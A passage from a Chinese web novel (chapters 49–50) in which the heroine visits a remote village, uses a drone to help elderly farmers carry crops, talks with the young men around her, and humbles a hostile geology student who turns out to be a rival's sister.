“麻烦给我倒一点吧。”乔梧笑道,“我也有点晕车。” 村长喜笑颜开:“好好好,您等等!” 陆应池凑到乔梧耳边:“你哪里晕车了?” 她好得很,在车上还跟陆尽之有说有笑呢! 乔梧推开他的脑袋,指尖点了点手机。 陆应池拿起手机,看到乔梧不知道打了些什么,过了两分钟他的微信才收到消息。 “实在不习惯就说自己不舒服,去车上等着,晚点我让郭力言给你泡点泡面拿过去,车后备箱里有水和饮料,也有面包,不要当着面给别人难堪,这是最基本的礼节,这里的人跟你身边的同学和朋友都不一样,他们光是生活就很艰难了,不要再让人没有尊严。” 乔梧没指望陆应池这种养尊处优的少爷真的能毫无芥蒂的习惯且融入这里的一切,他这一辈子可能只有这么一次踏足这种地方的机会,习惯与否都不重要,但既然跟着来了,表面功夫就一定要做到位。 “你可以不接受,但你不能不认可。” 这里的人自然知道他们都是城里来的,也知道他们等同于财神爷,哪怕现在陆应池掀了桌子都会有人笑着替他收拾解围。 但一码归一码,尊严是尊严。 村长已经把糖水端上来了,乔梧也将手机放下,端着碗喝了一口放了糖以后看起来泛白的水。 陆应池盯着她的一举一动,觉得这个人真的很割裂。 明明她曾经跟她说过,郭力言这样的人想尽一切办法获得机会是他的手段,而他只要高兴就可以回馈,不高兴可以置之不理,但现在却又让他不要给别人难堪。 她怎么什么道理都懂,怎么……看起来那么得心应手。 “尝一尝吗?”村长试着说,“都是现杀的鸡,自家养的走地鸡,味道还可以的。” 乔梧拿起筷子,笑着说:“麻烦你们了。” 见她动了筷子,其他人也纷纷拿起碗筷。 陆应池原本是想要借口出去的,但看到乔梧完全沉浸在食物里的样子,竟然有些好奇。 这人不也是跟自己吃一样的饭长大的么?凭什么她能吃他就不能! 他心里燃起了胜负欲,努力让自己忽略那些不舒服的因素,也拿起筷子夹起一筷子菜塞进嘴里。 跟家里厨师做的自然没法比,但意外的,还能入口。 这倒是让乔梧很意外,她压根就没想过陆应池能融入,所以来之前特意在后备箱备了一些速食。 但她很欣慰。 “发烧刚好,少吃重油的。”她拿起村长特意摆在旁边的公筷,夹了一些蔬菜到陆应池碗里,“这里的蔬菜都很香。” 陆应池就不是素食动物,但他还是埋头将那些蔬菜全都吃完了。 这么大的个子,烧了一整晚又一路颠簸,这会儿真是有点饿。 “再夹一点儿。”他捧着碗。 乔梧看他一眼,眼眸轻轻弯了起来。 陆应池追寻着余光那抹笑意看去,望进她的眼睛里。 他发现自己很沉迷于乔梧这种放松又明媚认同他的神情,还有点期待,就像过去上幼儿园时总是期待老师给他发小红花那种。 睁眼就在挂念,闭眼也在挂念。 他也像过去在老师面前表现的那样,摇着尾巴:“再来一碗。” 一顿饭吃完,几个村干部也没之前那么拘谨了,带着大家顺着村里的路考察,方便乔梧可以了解到村子里的实际情况。 “我们这儿位置实在是太偏了。”村支书叹了口气说,“之前扶贫下基层的时候也教我们种过水果种过茶,但都由于距离问题卖不出去,全都烂在家里,年轻人压力大已经走了好大一批,我也学着网上那些带货开过直播,但这种农产品运输下来就是一个很大的成本,说实话没有什么名气和特色,也没人会愿意在这么远的地方卖这些东西,这么一直循环下去也不是个事儿,这圈人还算近一些的,往后还有些散户住得更远,近一点的地现在已经被自己家收回老人做点农活儿,远一点的就是那些以前的果树茶树,没人看管了。” 一行人来到村子的高处,还要再往上爬,在过去就是山道了。 有好些个老人背着背篓杵着树枝往下走,看到这里一堆人,各个都像个人物,吓了一跳忙往旁边绕。 “别别别!”乔梧忙走上前,伸出手,“需要帮忙吗?” 老人家看着那细嫩的手,摆着手说着听不懂的方言。 村支书走过去搭了把手:“他们说你拿不动,别伤着手了。” 担心自己会碍事儿,乔梧往后退了几步让出路,看到背篓上冒起的尖尖儿,还是没忍住在那些老人下来是轻轻扶住了背篓框。 才刚从山上下来,老人们也是打算在这儿休息休息的。 见着生面孔,跟村支书问了几句,然后热切地看向乔梧,纷纷从自己的兜里掏出一些没吃过的饼干和糖递给她。 乔梧看了一眼,上面写的都是些盗版品牌的名字。 但她还是双手接了过去:“谢谢。” “他们很感谢你们能过来。”村支书说,“我们这边海拔会高一点,也比其他地方冷得快,到时候阴雨绵绵不方便,所以入秋以后就要赶紧把作物收了,年轻人不在家都是邻里帮着收成,到时候再去乡里卖掉,最近正是最忙的时候。” “每天就这么背吗?”乔梧问。 “一天好几趟呢。” “这样吧。”乔梧说,“我车上有个中小型载重无人机,原本是准备用来考察地形的,现在还没用上,今天可以暂时帮忙运几趟,也不用上上下下这么辛苦,正好我上去还可以看看上面的地形。” “要是这样就太好了,但是我们没人会用这种东西。” 乔梧笑道:“我有无人机执照。” 陆应池震惊:“你什么时候有的?!” 他上车的时候真的没发现后备箱里都塞了些什么,现在看来都是乔梧早就准备好了的。 “你不知道的时候。”乔梧卷起袖子,“走吧,搭把手。” 重新下了一次山,帮着那些老人一起运东西下来的几人累得气喘吁吁,回头一看乔梧,她已经开始蹲下身认真地开始调试无人机了,动作干净利落,神色专注。 刚才下山时她也搭了手,也累,脸上还有没褪下去的红晕,头发也有些凌乱了,可依旧是最耀眼的那个。 等无人机飞起来,乔梧又让大家跟上,好像有用不完的精力一样。 陆应池很担心她走到一半累瘫在 地上,所以一直紧紧跟在她身后,他能清楚地听到乔梧越来越重的喘息声,但愣是没听到她喊一声累,她甚至还能笑着跟村干部商量沿途看到的各种景色。 直到所有人再次走到山顶需要运输农作物的位置。 虽然入了秋,但这会儿的太阳还是有些毒辣,乔梧一刻也没停,她身上价格不菲的衣服早就被周围那些泥土沾染,戴着帽子就蹲在太阳底下教几个村干部怎么把东西绑好。 等无人机载着东西飞起来,乔梧起身仰起头的时候,陆应池觉得自己又开始发烧了。 他整个人开始晕乎,看着乔梧都觉得这人跟个光球似的布灵布灵。 她怎么能这么厉害,这么能忍。 村支书和那些老人脸上都是激动的神色,拽着乔梧的手臂说着含糊的普通话:“你真的,厉害!” 说着又急急忙忙去帮着整理其他的农作物了。 钟闵站在乔梧身边看着她操作,其实不太理解她这样的做法:“你只能帮一次两次。” 他们只会在这里待几天,但是以后这样的生活这些老人还要经历无数天,重复无数次。 “那又怎么样?”乔梧语气轻松,“至少我看到的时候帮了,轻松一天不是一天吗?哪怕轻松一秒,做公益也是一样的道理,改变一点也是一点,难道只有几亿几十亿的公益才叫公益么,几块几十块也是。” 老人们再次围上来,七七八八的将那些东西往乔梧面前堆。 钟闵被挤到其他地方,他再次望向乔梧。 第一眼那个高高在上不可触及的人,此时此刻被老人们触碰也没有一点不适,眉眼笑得弯弯,融在她身后的阳光里。 并不是她作为一个善良的人的礼节,而是她真正意义上的付出和共情。 她这人很矛盾,可以拥有富贵权势的矜骄,却也同样可以拥有普通人的随和。 可即便是这样,他依旧觉得对方高高在上,并不是外貌和气质上的,而是她一直凌驾于他这种庸俗的人之上的思想和道德。 钟闵突然很想回到过去,给当初第一次见到乔梧时的自己一巴掌。 乔梧还在跟村干部沟通。 “这个无人机载重不算多,不是专用运输的。”她一边操控边道,“如果村里有人想要学,我可以私人给你们出钱出渠道,再给你们买个可以承重更多的无人机,不管什么季节,如果再有需要运输,大家可以一起上来把东西打包,再一起运下去。” 村支书难掩欣喜:“您答应跟我们村合作了吗?” “还要再看看,我说的那些是私人捐赠。” “也是,我们这里不管种什么都不太方便。” “单纯靠种东西是难,不管是水果还是茶叶都不是一天两天就能研发出适合这片土地的品种的,也难销出去。” 乔梧回头扫了一眼,觉得今天这几个不安分的都意外安静,所以招了招手:“过来。” 几人原本如同灌了铅的脚顿时松动,齐刷刷走到了她身边。 看得旁人啧啧称奇。 乔梧倒是习惯了他们这种状态,接着才道:“我想可以换一种思路,现在的人很愿意花精力去找一些从来没见过的景,你们这儿山多水多,如果开发做成一个度假村也不错,越远越少的东西越贵,还能增加劳动力。” “那我们山上那些水果茶叶……” “继续种。”乔梧挑眉,“到时候还能卖得更贵。” 钟闵:“……” 看,富贵权势的那一面出来了。 这就是资本家。 这是乔梧教给他的第二课。 弄完那些农作物,又在山上看了一下地形,看着太阳要落山了,继续待在山上不太安全,一行人这才原路返回。 村长家里的空屋子有限,来的人里只有乔梧一个女士,为了安全就让乔梧睡在村长家,其他人都去提前安排好的其他村民家里睡。 陆应池被安排在隔壁,但他并不想那么早睡觉,他也不习惯。 民宿那个地方他都不想睡,更别说这里了,所以他又摸回了村长家。 他推开院子门,看到乔梧坐在门口的小板凳上,她旁边是个小女孩,小女孩趴在另一张板凳上写作业。 她低着头正在教那个小女孩写作业,不知道说到什么,两人咯咯笑个不停。 陆应池觉得有点恍如隔世。 这种画面他曾经也有经历过,他小时候为数不多的清晰记忆大多都跟乔梧有关。 作为家里年纪最小的弟弟,几个哥哥都不太跟他玩。 他就会闹,闹着一定要从陆宣他们手里抢到乔梧,在幼儿园里不肯睡午觉,一定要撑着回到家里,让乔梧给他讲故事,讲到他睡着。 乔梧从来不会不耐烦,她就像现在这样,坐在他小椅子旁边,温声跟他说话。 他想要她一直都这样跟自己说话。 可是他这两天发现,当他还在因为环境因为辛苦各种不舒服的时候,乔梧已经往前走了很远很远。 他一直都在试图追赶乔梧的脚步,从小时候学她的字迹到现在想要学着她变得更加强大,直到现在他才恍然觉得,他从来都没有赶上过。 院子里,小女孩明天还要早起上课,依依不舍地离开后,乔梧才拿出手机看了眼时间。 她答应过要给陆尽之报平安。 每次都是陆尽之给她打电话,想了想她还是回了一个电话过去。 只是那头却直接把电话挂了。 乔梧没在意以为他是正在忙,所以打算发个消息就算,没想到刚点开聊天框,陆尽之的视频电话就打过来了。 她愣了愣,隔了好一会儿才点接通。 看到陆尽之的背景,她有些惊讶:“你买沙发了?” “嗯。”陆尽之将镜头偏了一点,给她看沙发的样子,“下次你可以坐这儿。” 乔梧:“……” 他好像真的把上次说的话记在心上了。 陆尽之又问:“你在外面?” 镜头里的乔梧逆着光,看不太清脸。 “屋子外面,刚才在教村长家的小孩写作业,好久没看到这么多星星了,就想着一会儿再回去。”乔梧将摄像头翻转,想让他也看看,但她没戴眼镜,只好凑近屏幕去看,却发现手机根本拍不出来什么,“现在入了秋,估计很快也看不见了。” 说着就把摄像头转了回来。 陆尽之骤然看到她放大的脸,比任何一次都要近。 屏幕上的光浅浅映在她脸上,像是单独在这里打了光,让人可以更清晰地看清她瞳孔的倒影,她长密的睫毛。 乔梧离屏幕远了点,却看到陆尽之漆黑的眸子专注又沉静。 他一直没说话。 乔梧便先开口解释:“其实没有别的事,我想给你发个消息说平安的。” 陆尽之这才几可不察地眨了下眼:“没事也可以。” “啊?” 乔梧有点懵。 “我说,没有别的事也可以给我打电话。” 陆尽之靠在沙发上,在家里的他会随意一些,头发松软落下,连带他五官都被衬得柔和很多,“于私,我们是很好的朋友。” 这是乔梧在采访时说的话,可被陆尽之这么说出来,她还有点不好意思:“那些媒体总是喜欢捕风捉影。” 陆尽之嗯了声:“已经让徐朝解决了。” 他垂下眼,目光并没有直接落在视频上,话音却没断:“今天怎么样?” 过去乔梧可能还会跟他汇报一下工作,但陆尽之每次打电话给她似乎都不是问工作,所以她就说起了自己的感悟。 她对陆尽之没有什么保留,毕竟这个人把她看得很透,所以她轻声说:“挺好的,感觉在这个世界上留下自己的痕迹了。” “所以才喜欢画梧桐叶?” 没想到他能联想到那方面去,乔梧眨了眨眼,一时不知所措。 在陆尽之眼里,她只是莫名消失十二年又突然出现的故友。 但他却不知道在那之前她就已经是一个异世而来的魂魄。 当初穿到这里时,她最初其实挺惶恐的,所以梧桐叶算是她给自己留下了一枚属于自己的烙印。 谁也不知道。 但后来不知道从什么时候开始也习惯在书里留下便签的陆尽之知道。 原来他还记下来了。 但是乔梧没有做好准备跟谁说这件事,这对她来说可能会是永远的秘密。 乔梧忽然想起在陆尽之还没回国之前曾经问过她,那些交接文件下的梧桐叶是什么。 “你是那时候认出我的?”她惊讶地问。 “不是。” “那是什么时候?” 原本垂眸的陆尽之听到这 个问题后轻轻抬起眼,笑道:“你每一次叫我名字的时候。” 第49章 第四十九章用眼睛看 吱呀。 院外传来轻微的响动声,在陌生环境下的乔梧会更敏感一些,她抬起头一看,陆应池站在铁门后,半边脸隐在黑暗里,正目不转睛地盯着她。 “不说了。”她跟视频里的陆尽之说,“陆应池可能不习惯,我去看看他。” 陆尽之:“熬熬就老实了。” 乔梧没应,笑着跟他挂了电话,起身走到铁门边:“什么时候过来的?” 陆应池面无表情:“你们是很好的朋友的时候。” 这个时候乔梧忽然发现陆柠说得也没错,陆应池的听力真是异于常人的好,这都能听见。 “睡不着?”她问。 “这个地方。”陆应池站在门口没有动弹,说话时下意识看了眼院子里,没有别人以后才说,“谁能睡着。” 乔梧:“那去车里睡。” “车里怎么睡人!” 他说完后没有再听到乔梧的回答,对方只是安静地看着他。 陆应池移开视线:“我就是想问,你以前比我还娇贵,怎么现在什么都能习惯了?” 他维持着朝乔梧学习的心态,很多早年养成的毛病都是从她那里学来的,以前的她比他更像一个身娇肉贵的富家小姐。 乔梧从来不指望其他人能跟陆尽之一样可以看出什么,也不愿将这些奇怪的事告诉他们,便道:“人是会变的,你不要一直执着在过去,陆应池你要学着往前走。” “我一直在走。”陆应池压着眉有点摸不到路的烦躁,“是你走得太快了。” 乔梧觉得好笑。 她比陆应池多走了那么多年的路,当然会比他快。 “跟我有什么关系,你自己不会走路吗?”她半倚在铁门旁边,声音比夜风还轻,“陆应池我实话告诉你,我不会一直待在陆家,也不是时时刻刻都会那么及时出现在你身边。” 陆应池满脸郁气:“所以你果然要去找钟禾静。” “不是钟禾静也会是其他人,又或者是我自己。”乔梧说,“等到了那个时候,你就要自己去面对困难面对未知,每一段路都是要靠自己走的,你难道要一直生活在我的羽翼下吗?” 她抬手比了比陆应池的高个子:“可是你已经比我高很多很多了,我护不住你。” “谁要你护着我了。”陆应池站直了些,“我可以护着你。” “你靠什么护着我?”乔梧顺着他的话问,“我们换个思路,如果今天是我晕车是我发烧,是我不喜欢吃这里的东西,不习惯这里的环境,睡不着觉,你会怎么安排我呢?” 陆应池唇瓣轻开,却没发出声音。 他睡不着觉会下意识来找乔梧,可如果她也是呢? 他第一时间想到的是把乔梧带走,带到一个她能睡着教的地方,可这里往外出去是乡镇,除开时间成本,根本没有一个地方是可以让他的公主好好睡觉的地方。 他意识到自己还不如一碗浑浊的糖水。 这一刻他一直挺立的肩膀终于塌了下来,连带着整个人都是迷茫的。 “我不知道。”他很挫败,却又无可奈何。 想生气却又只能生自己的气。 “你说会有时间让我找到的。” “我又不是明天就离开了,你有很多时间,在那之前我不会走的,今天不就带你来了吗?”乔梧拍拍他的肩膀,“不要因为我让你做,你才去做什么,你要想因为你自己,所以你要做什么。” “你总是会说很多大道理。” 陆应池闷声说,“但我不想听。” “那你就记着,等你想听的时候再翻出来听。”乔梧打了个哈欠,“现在要回去睡还是要去车上睡。” 哪个都不想选。 看出来他的抗拒,乔梧又说:“不睡你就坐到天亮,但是我要睡了,我明天还要工作。” 说完她真的就转身要回屋里。 陆应池赶紧拽住她的手腕:“等下。” 乔梧垂眼,将自己的手从他的掌心抽出来:“不要动不动就跟异性动手。” 小时候是小时候,长大了是长大了。 他怎么还分不清。 乔梧不说还好,一说陆应池就觉得自己好像抓住了什么不得了的东西,他愣愣的看着自己的掌心。 “还有事?” 陆应池另一只手动了动,手里的触感让他从脑子里找到了自己这次过来的目的,他摊开手掌:“这个给你。” 宽大的掌心中间,是一只小小的狗狗挂坠,毛茸茸的哈士奇。 陆少爷不像是会买这种东西的人。 “哪来的?” “同学给的。”陆应池含糊道,“我没哪里用得上,车钥匙还被那只猴给收了,你用吧。” 这种小礼物乔梧收起来很心安理得,不做思考就将挂坠接过来:“跟你挺像。” “说谁是狗呢?” 见她还挺喜欢,陆应池今晚一直沉闷的心情终于好了很多,没跟她一般见识,他双手插兜:“行了,你睡吧。” “嗯。” 乔梧转身朝,走了几步又回来把铁门带上,插好。 陆应池:“……” 防谁呢。 他看着乔梧的背影消失,自己也才回到村民家的屋子里。 总比窄窄的车上要好,他俯身在床上闻了闻,没有闻到别的味道,于是在床沿坐下来,靠着窗看天。 乔梧说星星好看。 不行,不能按照她的思维去想问题。 他得保护她。 陆少爷拿头轻轻撞了撞墙壁,他自己到底是什么个东西! 第二天早上起来,大家收拾好要去附近的没有被开垦过的荒山看看地形,乔梧昨晚还让郭力言联系了地质专家,今天要一起去看看这片地区可开发的可能性。 陆应池的确是熬老实了,再怎么不习惯后半夜他还是忍不住睡了过去,但他下午就要去机场,所以现在也不愿意把早上的时间花在补觉上,听着别人起来了,他也跟着爬起来。 现在起来整个人都昏昏沉沉的,搬着一个小椅子坐在窗沿的阴凉下乘凉补觉。 没一会儿,村支书推开院门带着几个人走了进来:“乔理事长,专家们到了。” 来了三个人,两个中年男人和一个全副武装的年轻女孩。 乔梧起身跟他们打招呼,然后注意到女孩的视线一直停留在自己身上,她回望过去,见女孩背着一个双肩包,墨镜戴在头顶做装饰,穿着工装裤踩着靴子,肤色是很健康的小麦色。 对上她的视线,女孩也没有避开,依旧直勾勾地望着她。 “这是我的学生,这次跟着过来淘经验的。”其中一个地质学家说。 女孩朝乔梧伸出手:“从亦。” 对方的打量实在太过明显,乔梧想忽视都不行,但她只是轻挑了下眉,却也没多说什么:“乔梧。” 村长一人塞了瓶水:“既然大家都准备好了,我们就趁着这会儿日头不大走吧,中午的时候再回来休息,免得到时候晒坏了。” 乔梧没什么意见,喊了快要睡着的陆应池一声。 因为是没开垦过的山路,一路走过来都要拿着棍子将路边的杂草给挥开。 乔梧操控着无人机,腾不出手便走在后面,她前面是郭力言和陆应池在帮着给她开路。 累了停下来休息的时候,帮她背着水的郭力言会第一时间把水递过来。 这些都是一个助理该 干的事儿,乔梧接受得心安理得。 路有些窄,大家都分散着坐在树下,乔梧正低头在纸上画着小地图,旁边却忽然坐下一个人:“你平时出门也是这么让人服侍你的吗?” 听到是那个女孩的声音,乔梧头也没抬:“有问题么。” 从亦说:“你们这种有钱人我见得多了,说着做公益无非就是打着这个名头捞钱,说着来考察,实际上身边带着一堆保镖,衣来伸手饭来张口,给媒体做个样子而已。” 她说完没等到乔梧回答,得意地说:“被我说中了吧。” 乔梧不答反问:“会玩无人机么?” “会,干什么?” 下一秒,从亦手里就被塞进了无人机的操控器。 她震惊地望着乔梧:“你要干什么?” “不是跟着老师来淘经验的吗?给你机会。”乔梧站起身随后在周围折了枝树枝下来,低下头看她,笑着说,“让我看看你们这种只靠自己的人能做成什么样。” 前面村长已经在问能不能走了。 乔梧应了声就朝那边走去,留下抱着操控器懵逼的从亦。 还对郭力言说了句:“你往前走,别回头,不用给我看路了。” 郭力言听到了两人的对话,但他并不明白这个女孩对乔梧莫名的敌意,只下意识听老板的话,点了下头就很快走到了前面。 乔梧也没回头,更没有再看从亦一眼。 反应过来后从亦暗骂了句脏话忙跟上,但是她前面只有乔梧一个人,乔梧看着瘦,实际上走得飞快,她压根追不上。 而且虽然草被前面的人打开过了,长得太茂密,没一会儿就恢复原状,她得一边低头一边看着路小心翼翼走,没过多久就落后了很多很多。 等遇到一处水潭大部队停下来时,她才气喘吁吁地跟上,表面的和气都没装下去,追上乔梧就说:“你就不怕我把你的无人机砸了。” “砸吧。”乔梧将自己的手机收款码打开,“支持现金扫码刷卡,以及我被浪费的时间以时薪计算。” “……” 等了半分钟,没见着这女孩砸东西,乔梧才把手机收起来,将无人机操控器拿到自己手里,用之前这人打量她的目光也从头到脚打量了对方一遍,轻嗤:“没让人服侍的你,也好不到哪里去。” “你!” “开始自我介绍过,你可以叫我乔理事长,也可以叫我乔梧,但别叫我‘你们这种人’。”乔梧没再看她,而是将无人机收回来,继续道,“别把没礼貌当做个性。” “从亦!”地质学家在水潭底下喊,“下来看看。” 从亦瞪了乔梧一眼,发现对方从头到尾没看她后更加郁闷,顺着旁边的小路滑了下去。 “理事长,那人是谁?要处理一下吗?”郭力言发现了两人之间的矛盾,走过来问。 “不用。”乔梧并没当回事,“一个小丫头而已。” 她将无人机交给郭力言,自己也从旁边走了下去。 “怎么样?”她环视周围,“这附近如果动土会影响到水质吗?” 如果要开发,周围肯定要经过很多改造,这水潭往下一直都是清澈的水源,如果被影响了那开发就没有什么意义了。 地质学家点头:“只要别离得太近,别在上游动工,在动土之前要先保护好这一段,这边不能建太高的建筑,会影响到附近的植被。” 乔梧点了点头。 从亦蹲在水边观察水质,闻言道:“资本家管钱就好了,管什么水源植被。” “喂。”坐在石头上的陆应池站起来,黑着脸,“长了张嘴不会好好说话?什么语气?” “哎哎哎。”地质学家脑壳顿时就大了,忙解围道,“大家别伤了和气,从亦你好好工作!” 又对乔梧道:“她年纪小,有点被惯坏了,可能今天太热了,她平时不这样的。” “我家弟弟也年纪小。”乔梧笑道,“也被家里人惯坏了,今天没睡好脾气有点大,你们多担待。” “我跟他可不是一路人。”从亦冷笑,“有钱无脑的蠢货。” 这语气听着有些奇怪。 乔梧不禁多看了这个从亦几眼。 陆应池撸起袖子:“来来来,你再给老子说一遍?!” 从亦也将工具放在旁边站起来:“来啊,有本事你也打我,碰我一下我头给你拧下来。” “天爷。”几个村干部直接被这两人突如其来的针锋相对给搞蒙了,“这是怎么了怎么了?别吵别吵。” 偏偏乔梧还站在原地跟个没事人一样,乐呵呵的:“没事儿,小孩闹着玩呢。” 还把两个地质学家拉得离自己近了点儿,免得他们被殃及到。 她侧过头问:“您这个学生家是哪里的?” “跟你们一样。” 乔梧点头:“家境看起来不错。” 那女孩身上穿的衣服都是牌子,手腕上戴的表少说七位数。 “她家里有钱。”地质学家说,“她哥哥是秦氏集团的老板,你们应该也听过。” 这下乔梧明白了:“准确来说不是听过,我跟她哥哥很熟。” 难怪一来就对她那么大敌意,合着是冲着自己来的。 乔梧四周巡视了一下,捡起刚才大家杵着过来的一根长棍,试了试手。 对面水潭边上两人还在僵持,陆应池还是第一次遇到在他面前还敢这么嚣张的人,居然还要跟他动手! 他刚走过去,忽然意识到乔梧还在,下意识又朝她那边看了眼,皱着眉停下脚步:“看来学历也拦不住人品,哪来莫名其妙逮着人就乱咬的野鸡。” 见状从亦嘲讽道:“怂逼。” “你少说两句!”地质学家呵斥道,“不听话就回去!” 就在这时,他看到拎着跟棍子的乔梧动了,她走到水潭边上,用棍子将陆应池往里面扒:“回来。” 陆应池忍了忍,但还是走回来了。 从亦见状就要蹲下去把工具捡起来,结果还没弯下腰,就被那长棍子抵住了胸口。 她愤怒地看着乔梧,抬手要将棍子打开,可那棍子跟长了眼睛一样,围着她的手绕了一圈又回到了原点。 可她却因为站在水潭边上,差点一头栽进去,只好赶紧稳住自己的身形。 这一下她直接被那跟棍子抵着往后退了几步,后背抵在了阴湿布满青苔的石壁上。 “乔梧!”她看着那根棍子,“你要打我?!” “你哥我都打得,你我有什么打不得的。”乔梧手上加了点儿劲,“从亦,你今天要是说不出个所以然来,我不会让你从这里走出来的。” “什么哥?”陆应池懵逼地问,“除了秦天睿那个傻逼你还打过谁?” 钟闵:“听说秦总是有一个妹妹,不是一个姓?” 从亦怒道:“谁要跟他一个姓!” 乔梧莞尔:“那你把表脱下来,我可以替你还给他。” 听罢从亦就知道她猜出自己是谁了,冷声道:“你果然跟秦敛是一路人!” 那天她跟父母打电话的时候听说秦天睿被人打了,而且打得不轻,回来好几天都不说话。 再一托人问就知道了在零环线发生的事。 但她跟秦天睿关系也没那么好,所以挨不挨打她也乐见其成,还把视频下载了天天看。 可直到看到慈善酒会上传出来的照片,她才知道这个乔梧跟她哥是一伙儿的,难怪会把秦天睿打成那样。 “口口声声你们这种人,你们这路人。”乔梧继续抵着她的胸口,“世界都走遍了,心眼怎么还那么小,你见过我么,就给我定性?” “不用见。” “哦。”乔梧抬抬下巴,跟陆应池道,“打个报警电话,就说这里有个人脾气暴躁,三观有问题,我怀疑她是个杀人犯,现在要报警。” 从亦:“谁杀人了!” 乔梧笑道:“你能空口辨我是什么人,我还不能说你是杀人犯?做人不要太双标。” 这下从亦才发现自己根本说不过这个人,她想要捏住棍子,但还是被躲开了,恼羞成怒:“你放开我!” “不放。”乔梧敛起笑,“既然你知道你哥被我打了,就该知道我是怎么打他的,在我这里不打女孩子的说法行不通,你惹到我了我照样打你。” “知道上次我打了秦天睿,秦敛给我转了多少钱吗?”乔梧视线上下一扫,像打量商品一样,“你觉得这次你值多少钱?” “我全身上下都买了保险!你打我试试!” “无所谓。”乔梧抽出一张卡扔在地上,“我赔得起。” 旁 人都震惊了。 这就是有钱人的底气吗? 连陆应池都没这么嚣张过。 他发现乔梧痞起来比他还恐怖。 “现在说吧。”乔梧用棍子抬了抬从亦的下巴,“你讨厌我的理由,说不出个一二三,今天就在这儿耗着。” 从亦后背已经被山上渗出来的水浸湿,脸上还被太阳光直直地照着,她有些难耐地合上眼睛。 “跟秦敛一起的就不是什么好人!” “有意思。”乔梧轻笑,“看来你比秦天睿还蠢。” “你拿我跟秦天睿那个废物比?!” “秦天睿至少知道自己靠着谁生活,在秦敛面前会收敛一二,你倒好,现在还分不清秦家究竟是靠着谁。”乔梧冷声道,“我要是你哥就把你赶出家门,让你体会体会什么叫做真正的普通人。” “我爸我妈不会原谅他的!” “那又怎么样?现在秦家是秦敛做主。”乔梧睨着她,“至于那些把他当仇人的人,为什么要在乎?一句原谅而已,你恨他什么,恨他强势,恨他管着你们,恨他不近人情?” 乔梧用棍子戳着她的脸:“醒醒,张嘴闭嘴有钱人,你能站在这里学自己喜欢的专业,能全世界乱飞,全都是因为你哥把你们该承担的东西和责任都承担了。” “你说得对,我这种万恶的有钱人是不会放过你的。”乔梧很自然,“我现在就让你体验一下作为一个普通人你会被我欺负成什么样子,你今天就在这儿站着,站到我满意为止。” 说着还朝带来的保镖招招手:“你们一人找个棍子来,就这么架着她。” 保镖们哪里敢说个不字。 “乔理事长。”地质学家惊讶地来做说客,“这样不好吧。” “放心。”乔梧让保镖接手后,自己就腾出手来了,继续着原来的工作,轻声说,“她哥放过话,让我替他管管家里不听话的弟弟妹妹,他们好日子过久了,是该吃点苦。” 又扬声道:“都忙自己的,出了事我负责。” 从亦被两个保镖堵在墙壁上,又晒又冷。 就这么眼睁睁看着大家都没再敢再看她这里一眼。 啊啊啊啊!气死了! 就这么罚站了一个小时,所有人都走了,乔梧才走到她前面,示意两个保镖放开手。 从亦脚有点软,身体也没什么力气了,差点一头栽进水里。 但却被走来的乔梧给扶住:“现在老实了?” 从亦瞪着她。 “现在给你两个选择,一是跟着我,把嘴闭上,老实做好你的本职工作,看看我这种人是怎么工作的。” 乔梧将她扶到空地上,“第二,我现在就给秦敛打电话,让你滚出我的视线。” “我是跟老师来的!” “你不是说有钱人都这样么,不知道有钱人的手段?我现在是这里最大的金主,你把我惹毛了,村里的人会让你待在这里?你的老师又能怎么办?” 乔梧从旁边捡了瓶没喝过的水扔在她身上,替她戴好帽子,顺势捏住她的脸抬起来,让她看着自己的眼睛:“没有脑子就别用脑子看世界了,用眼睛看,明白吗?” 第50章 第五十章二更 从亦随母姓。 她小时候开始就不待见她的大哥,用她父母的话来说她大哥是个不近人情的人,更不近亲情,一心只扑在工作上,做任何事都要以利益为先。 自她记事以来一直都觉得秦敛看她的眼神很冷,不管年纪,她淘气做错事都会先被她大哥狠狠教训一顿,不许她这样不许她那样,在她大哥的眼里秦家的脸面比家人更重要,她更是亲眼看着秦天睿每次都被打得哭爹喊娘,虽然秦敛很少打她,但每次都要让她看着秦天睿是怎么被打的。 秦敛很少会回家,每次回去都跟家里人闹得很不愉快,最后直接分开住,眼不见心不烦。 他被那些富贵权势迷了心,把在外面那一套都带到了家里。 所以她不跟秦敛一起出现,也从来不喜欢去参与同样圈子里的活动,而是自由自在地活着,秦敛看她不顺眼,她也同样也是。 偶而从电视新闻或是网络上看到那些记着采访或是吹捧秦敛,她也觉得那人好虚假。 他能在镜头前笑得那么开心,回到家里却从来不会对家里人假以辞色。 家里人难道还是他的仇人吗? 都很假。 连带着跟秦敛熟悉的人,她也觉得很假,就像秦天睿那样的人一样。 虽然她很看不起秦天睿,但由于父母的关系也常在饭桌上吃饭,听秦天睿总是诉说对陆家那些人的不满,也听父母说过以前陆氏总裁陆江如何教育不周。 陆家几兄弟也没一个好东西。 所以在看到乔梧的时候,她就把这个人跟印象里的人都归为了一类。 但她没有想到,乔梧比秦敛还要果断还要直白,胆子还要大。 至少这么多年以来,她还是第一次被人这么直接地怼在墙上罚站被晒到差点中暑。 也没想到乔梧居然还敢留她下来看着,她倒是要看看乔梧能做出什么花儿来。 从亦爬起来,后背的衣服湿漉漉的黏在身上,让她很不舒服,长时间暴晒还让她有些脱水,她看了眼地上被乔梧扔下的水。 总不能是给她喝的吧? 打一巴掌再给一颗甜枣?就跟打了秦天睿再把秦天睿拉起来一样。 她才没那么蠢。 她没看那瓶水,而是走到水潭边捧起水猛地喝了几大口,又洗了把脸,继而挑衅地回望乔梧。 乔梧懒得在意这些幼稚的举动,不喝拉倒。 她将水拿起来扔给后面的郭力言:“她再要水,别给她。” 郭力言:“好的。” 立在坎上的钟闵第一次看到乔梧整治人的手段,心下暗自庆幸。 幸好上一次在他姐那里,乔梧只是坐在沙发上对他进行语言输出,否则他怀疑当时乔梧要把他从楼上扔下去,他姐也会毫不犹豫地答应。 一行人又爬上去走了,留下独自较劲的从亦,谁也没回头。 从亦憋着一口气,收拾好自己的东西闷头爬上去,紧紧跟在大部队后面。 担心中午之前没法赶回来,大家去了近一点的山头,放眼望去整个村庄都尽收眼底,显得那么小那么脆弱。 陆应池有点呆,他插在兜里的手都放了下来,侧过头小声对乔梧说:“是我的错觉吗?怎么觉得还没家里大。” “少爷。”一直跟在乔梧身后盯着她的从亦轻嗤道,“人和人之间是不同的,你知道什么人间疾苦。” 